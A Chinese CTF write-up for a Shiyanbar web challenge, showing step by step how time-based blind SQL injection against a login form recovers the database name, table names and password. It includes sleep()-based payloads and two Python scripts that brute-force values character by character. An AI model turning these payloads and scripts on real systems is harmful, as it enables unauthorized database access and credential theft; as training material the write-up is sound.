实验吧 看起来有点难 脚本加盲注

题目分析

测试?admin=1&pass=1&action=login
实验吧 看起来有点难 脚本加盲注报错无法连接数据库
测试?admin=admin'&pass=admin&action=login
实验吧 看起来有点难 脚本加盲注说明只要爆密码就可以
用SQL注入的方法

?admin=admin' union select 1,2,3 --+&pass=admin&action=login

实验吧 看起来有点难 脚本加盲注弹窗警告
尝试双写大小写绕不过去,而且并没有报错信息
实验吧 看起来有点难 脚本加盲注尝试?admin=admin' and sleep(5) --+&pass=admin&action=login
发现延时了
就可以用延时注入
然后先猜当前数据库长度,在用户名后面的参数加?admin=admin' and if(length(database())=4,0,sleep(5)) %23&pass=admin&action=login ,当我们的if判断正确时,页面则不延迟5秒,错误时则会延迟5秒,这里我猜出当前数据库长度为4
实验吧 看起来有点难 脚本加盲注 知道数据库长度之后,猜数据库名

先猜数据库的第一位ASCII的码值
先介绍一下substr(str,start,length)函数,str是要截取的字符串,start是开始点,length是截取长度,这里我们的str和length就一直不变,str为database(),表示显示当前数据库名,length始终为1,表示每次都只截取1个字符,所以我们只要变start开始点就行了

?admin=admin' and if(ascii(substr(database(),1,1))>97,0,sleep(10))%23&pass=admin&action=login 

,这里我用延迟10秒,因为我网速不是很好

这里当数据库的第一位字符的ASCII码值大于97时不延迟,表示是正确的
最后得到库名为test
因为select 被过滤了 但是发现弹窗也不影响我们的注入
继续猜表名and if(ascii(substr((Select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))=97,0,sleep(5))%23
实验吧 看起来有点难 脚本加盲注得到第一位是 a
然后。

接下来就写脚本!

#coding:utf-8
import requests
import time

j = 1
r = ''
while j<=4:
    for i in range(97,123):
        one=time.time()
        a=requests.get("http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and if(ascii(substr((database()),"+str(j)+",1))="+str(i)+",0,sleep(10))%23&pass=1&action=login")
        two=time.time()
        if two-one<=10:
            r +=chr(i)
            print(r)
            j +=1
            print([END],r)

将database()修改为SeLect table_name from information_schema.tables where table_schema='test'就可以查表

最后在自己学习过程中想到,应该可以直接对password进行注入
给出下面的脚本

#coding:utf-8
import requests
import string

str = string.ascii_lowercase+string.digits+'@_{}.*'
print (str)
flag=""
print ("start:")
# # length 先爆出字段长度
# for i in range(1,20):
#   url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(length(password)=%s) then sleep(8) else sleep(0) end and ''='&pass=&action=login" %i
#   try:
#       res = requests.get(url, timeout=5)
#   except:
#       print (i)
#       break



for i in range(1,9):
    for s in str:
        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(8) else sleep(0) end and ''='&pass=&action=login" %(i,s)
        try:
            res = requests.get(url, timeout=5)
        except:
            flag += s
            print ("%s:%s"  %(i,flag))
            break
print ("password:"+flag)

先用上面再用下面